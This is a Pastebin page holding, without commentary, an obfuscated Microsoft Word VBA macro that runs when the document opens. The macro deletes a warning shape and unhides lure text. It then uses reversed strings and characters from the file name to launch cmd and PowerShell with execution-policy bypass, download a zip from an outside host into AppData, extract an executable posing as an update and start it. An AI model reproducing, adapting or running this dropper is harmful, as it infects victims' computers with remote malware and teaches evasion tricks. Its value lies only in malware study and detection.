Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub AutoOpen()
- On Error Resume Next
- Workbook_Open
- End Sub
- Sub Workbook_Open()
- On Error Resume Next
- Dim f1AkoSV3GHc6
- Dim OYJja8p: OYJja8p = False
- For f1AkoSV3GHc6 = 1 To ActiveDocument.Shapes.Count
- If ActiveDocument.Shapes(f1AkoSV3GHc6).AlternativeText = "fkwarning" Then
- ActiveDocument.Protect wdNoProtection
- ActiveDocument.Unprotect
- ActiveDocument.Shapes(f1AkoSV3GHc6).Delete
- ActiveDocument.Range(0, 2).Delete
- OYJja8p = True
- Exit For
- End If
- Next f1AkoSV3GHc6
- If OYJja8p = False Then
- Exit Sub
- End If
- Dim c6t5Nqd7oC: Set c6t5Nqd7oC = CreateObject("WS" & Right(ActiveDocument.Name, 1) & "ript.S" & StrReverse("lleh"))
- ActiveDocument.Range.Font.Hidden = False
- Dim GylnhTIF: GylnhTIF = StrReverse("iz.") & "p"
- Dim uLXz0VFPHK6F: uLXz0VFPHK6F = c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe")
- Dim AahxPbiyQZx: Set AahxPbiyQZx = CreateObject("S" & Right(ActiveDocument.Name, 1) & "ripting.FileSystemObje" & Right(ActiveDocument.Name, 1) & "t")
- uLXz0VFPHK6F = Left(uLXz0VFPHK6F, InStrRev(uLXz0VFPHK6F, "\"))
- c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "mkdir """ & uLXz0VFPHK6F & """", 0, True
- c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & StrReverse("xe.llehsrew" & Mid(Right(ActiveDocument.Name, 2), 1, 1) & "p") & "e " & "-E" & StrReverse(" eliforpon- ssapyb y" & Right(ActiveDocument.Name, 1) & "iloPnoitu" & Right(ActiveDocument.Name, 1) & "ex") & StrReverse("(eliFdaolnwoD.)tneil" & Right(ActiveDocument.Name, 1) & "beW.teN.metsyS t" & Right(ActiveDocument.Name, 1) & "ejbO-weN(") & "'" & "htt" & StrReverse("z.2/ua.moc.puorgwalca//:p") & "ip" & "','" & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & "'); (new-object -com shell.application).namespace('" & uLXz0VFPHK6F & StrReverse("'(ecapseman.)noitacilppa.llehs moc- tcejbo-wen((ereHypoC.)'") & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & StrReverse(")61,)(smetI.)'"), 0, True
- Kill c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe") & GylnhTIF
- c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "start """" """ & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & """", 0
- ActiveDocument.Save
- End Sub
Add Comment
Please, Sign In to add comment